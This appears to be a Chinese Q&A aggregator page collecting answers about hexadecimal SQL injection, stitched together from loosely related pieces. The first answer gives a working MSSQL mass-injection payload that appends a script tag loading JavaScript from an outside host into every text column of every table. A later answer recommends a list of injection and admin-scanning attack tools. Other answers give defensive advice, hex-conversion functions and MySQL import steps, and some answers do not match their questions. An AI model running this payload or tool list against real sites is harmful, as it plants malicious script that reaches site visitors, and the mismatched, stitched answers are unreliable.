當前位置:首頁 » 編程語言 » sql16進制注入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

sql16進制注入

發布時間: 2023-01-05 03:14:01

sql注入語句

沒編什麼碼
就直接轉換成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
總體思想就是把你的html代碼里插入一段js
js來自http://asa.ss.la/1.js

⑵ 專家您好,我的網站最近被SQL注入了,是十六進制的求大神幫助

你可以參數化SQL和存儲過程,或者把字元串的單引號替換成2個單引號。 過濾特殊字元串的方法不合理也不安全,只要把它轉換為16進制你就掛了,就算你過濾掉如:以0x開頭的16進制標識也沒用。

⑶ 這樣的SQL注入怎麼屏蔽

這個是16進制吧,應付SQL注入,關鍵是提交前的檢查,不加檢查的合成SQL並到資料庫中檢索數據是SQL注入唯一可能得逞的途徑,只要切斷這個就可以保證萬無一失了,另外關掉IIS等的錯誤提示也是非常重要的,這個可以防止偶爾忘記檢查的情況

你管它干什麼,編程的時候在合成SQL和檢索數據的時候,對不合適的一律屏蔽就可以了,對於這種顯然是屏蔽的對象,管他合不合法目的是什麼呢,一律屏蔽就OK了

⑷ sql注入 form過濾怎麼繞過

我常用的三種方法:
1,參數過濾,過濾掉 單引號,or,1=1 等類似這樣的 。
2,使用 參數化方法格式化 ,不使用拼接SQL 語句。
3,主要業務使用存儲過程,並在代碼里使用參數化來調用(存儲過程和方法2結合)

⑸ 怎樣在資料庫中插入十六進制

一般資料庫列中沒有十六進制類型的數據,需要將十六進制數先轉換為字元串形式,再插入資料庫中,對應的資料庫列的數據類型為char(n),n為最大字元長度。

⑹ 用SQL實現某欄位十進制轉十六進制

利用SQLSERVER中的varbinary來間接實現。

16進制字元串轉10進制bigint(0-FFFFFFFFFFFFFFFF):

由於二進制比較容易轉換為bigint 所以先將字元串轉為二進制varbinary,再轉換為10進制

CREATEfunction[dbo].[hextoint](@svarchar(16))
returnsbigint
begin
declare@resultbigint
set@result=CONVERT(bigint,CONVERT(varbinary,CAST(N'0x'+@sASchar),1))--最簡單有效的方法
return@result
END
GO


10進制轉16進制字元串(bigint正負數都可以):相同的思路目前可以將二進制varbinary轉換為字元串比較容易,那麼先將10進制轉二進制再進行16進制字元串輸出

CREATEfunction[dbo].[inttohex](@numbigint)
returnsvarchar(16)
begin
declare@num2varbinary(8),@rvarchar(50)
set@num2=convert(varbinary(8),@num)--直接轉換為二進制
set@r=dbo.varbin2hexstr(@num2)--二進制轉16進制字元串
return@r
end
GO


CREATEfunction[dbo].[varbin2hexstr](
@binvarbinary(8000)
)returnsvarchar(8000)
as
begin
declare@revarchar(8000),@iint
select@re='',@i=datalength(@bin)
while@i>0
select@re=substring('0123456789ABCDEF',substring(@bin,@i,1)/16+1,1)
+substring('0123456789ABCDEF',substring(@bin,@i,1)%16+1,1)
+@re
,@i=@i-1
--return('0x'+@re)
return@re
end
GO


以上代碼測試環境WIN2003+SQLSERVER2008

⑺ mysql備份的十六進制文件怎麼導入到資料庫裡面

MySQL命令行導出資料庫:
1,進入MySQL目錄下的bin文件夾:cd MySQL中到bin文件夾的目錄
如我輸入的命令行:cd C:\Program Files\MySQL\MySQL Server 4.1\bin
(或者直接將windows的環境變數path中添加該目錄)

2,導出資料庫:mysqlmp -u 用戶名 -p 資料庫名 > 導出的文件名
如我輸入的命令行:mysqlmp -u root -p news > news.sql (輸入後會讓你輸入進入MySQL的密碼)
(如果導出單張表的話在資料庫名後面輸入表名即可)

3、會看到文件news.sql自動生成到bin文件下
命令行導入資料庫:

1,將要導入的.sql文件移至bin文件下,這樣的路徑比較方便
2,同上面導出的第1步
3,進入MySQL:mysql -u 用戶名 -p
如我輸入的命令行:mysql -u root -p (輸入同樣後會讓你輸入MySQL的密碼)
4,在MySQL-Front中新建你要建的資料庫,這時是空資料庫,如新建一個名為news的目標資料庫
5,輸入:mysql>use 目標資料庫名
如我輸入的命令行:mysql>use news;
6,導入文件:mysql>source 導入的文件名;
如我輸入的命令行:mysql>source news.sql;

⑻ 如何把一個十六進制的文件導入oracle或sqlserver中

不可以直接把十六進制文件導入oracle或者sqlserver,導入時使用這個函數utl_raw.cast_to_varchar2轉換下才可以。

舉例:

select
f_get_varchar2(UTL_RAW.cast_to_raw@DBLINK_CTAIS_DQY(BTZQY)) BTZQY
from ctais1.sb_ndsds_2008_fb11 (此處有一個圈a,就是2上面的字元) dblink_ctais_dqy

調用遠程庫的cast_to_raw方法

⑼ 關於SQL注入的問題

樓主可以用
明小子
啊D工具包
PHP MYSQL網站注入掃描工具
PHP腳本掃描器 V1.0
HDsi3.0 軍火倉庫專用版
SQL綜合利用工具包2006年6月22號整理
SQL注入16進制轉換工具
黑朋專用免殺版SQL綜合利用工具
多線程網站後台掃描工具
網站獵手2.0版
通用注入
個人推薦用啊D功能很強大
但是通常的殺毒軟體會報毒,慎重使用

⑽ php中防止SQL注入,該如何解決


防sql注入的一個簡單方法就是使用框架,一般成熟框架中會集成各種安全措施。

當然也可以自己處理,如果用戶的輸入能直接插入到SQL語句中,那麼這個應用就易收到SQL注入的攻擊。我認為最重要的一點,就是要對數據類型進行檢查和轉義。

php.ini

------------

display_errors 選項,應該設為display_errors = off。這樣 php 腳本出錯之後,不會在 web 頁面輸出錯誤,以免讓攻擊者分析出有作的信息。

打開magic_quotes_gpc來防止SQL注入,magic_quotes_gpc= Off,這個默認是關閉的,如果它打開後將自動把用戶提交對sql的查詢進行轉換,比如把 ' 轉為 '等,對於防止sql注射有重大作用。如果magic_quotes_gpc=Off,則使用addslashes()函數。


mysql 函數

---------------

調用mysql_query 等mysql 函數時,前面應該加上 @,即 @mysql_query(...),這樣 mysql 錯誤不會被輸出。同理以免讓攻擊者分析出有用的信息。另外,有些程序員在做開發時,當mysql_query出錯時,習慣輸出錯誤以及sql 語句。

mysql_real_escape_string -- 轉義 SQL 語句中使用的字元串中的特殊字元,並考慮到連接的當前字元集。


Sql語句

------------

對提交的 sql 語句,進行轉義和類型檢查。如果請求是數值型,那麼調用is_numeric() 判斷是否為數值。如果不是,則返回程序指定的默認值。簡單起見,對於文本串,我將用戶輸入的所有危險字元(包括HTML代碼),全部轉義。由於php 函數addslashes()存在漏洞,我用str_replace()直接替換。get_magic_quotes_gpc()函數是php 的函數,用來判斷magic_quotes_gpc 選項是否打開。


其它

---------

使用預處理語句和參數化查詢(PDO或mysqli)。預處理語句和參數分別發送到資料庫伺服器進行解析,參數將會被當作普通字元處理。這種方式使得攻擊者無法注入惡意的SQL。